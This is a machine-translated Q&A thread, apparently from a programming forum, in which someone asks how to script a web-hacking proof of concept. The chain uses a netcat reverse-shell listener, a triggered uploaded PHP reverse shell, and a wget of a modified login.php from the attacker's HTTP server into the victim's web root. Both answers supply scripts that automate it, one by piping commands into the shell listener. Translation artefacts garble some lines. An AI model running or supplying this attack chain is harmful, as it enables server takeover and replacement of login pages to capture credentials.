美好的一天好人!
我正在尝试编写一个允许我展示用于黑客攻击Web应用程序的PoC的脚本,目前它要求我打开几个不同的进程和终端并在特定终端中执行命令然后切换回其他终端。
> python -m SimpleHTTPServer 8081
> nc -v -n -l -p 8082
> wget "172.16.0.XXX/upload/16/rs/rs.php"
> cd var/www/users/
> wget "10.13.37.128:8081/login.php"
&安培; python -m SimpleHTTPServer 8081
&安培;终端-e nc -v -n -l -p 8082
wget“172.16.0.180/upload/16/rs/php-reverse-shell.php”
cd var / www / users #Problem在这里,如何切换回nc终端?
wget“10.13.37.128:8081/login.php”
让我感到困惑的是在需要时在特定终端之间切换。为此只写一个宏是有意义的还是可以做到这一点?任何帮助,将不胜感激!
答案 0 :(得分:1)
启动各种终端的脚本怎么样?
gnome-terminal -e 'python -m SimpleHTTPServer 8081'
gnome-terminal -e 'nc -v -n -l -p 8082'
gnome-terminal -e 'wget "172.16.0.XXX/upload/16/rs/rs.php"'
gnome-terminal -e 'wget "10.13.37.128:8081/login.php"'
gnome-terminal -e 'firefox "http://172.16.0.180/users/login.php"'
对于“nc问题”我建议一个简单的伎俩:
(sleep 3 ; echo cd var/www/users/ ; echo wget "10.13.37.128:8081/login.php") | nc -v -n -l -p 8082
答案 1 :(得分:0)
#!/bin/bash
xterm -title "=http server" -e "python -m SimpleHTTPServer 8081" &
xterm -title "=Shell Listener" -e "nc -v -n -l -p 8082" &
xterm -title "=reverse shell" -e "wget '172.16.0.XXX/upload/16/rs/rs.php'" &
xterm -title "=Download Modified Page" -e "wget '10.13.37.128:8081/login.php'" &
xterm -title "=Firefox" -e "firefox 'http://172.16.0.180/users/login.php'" &
这使用Xterm为不同的命令打开多个终端模拟器。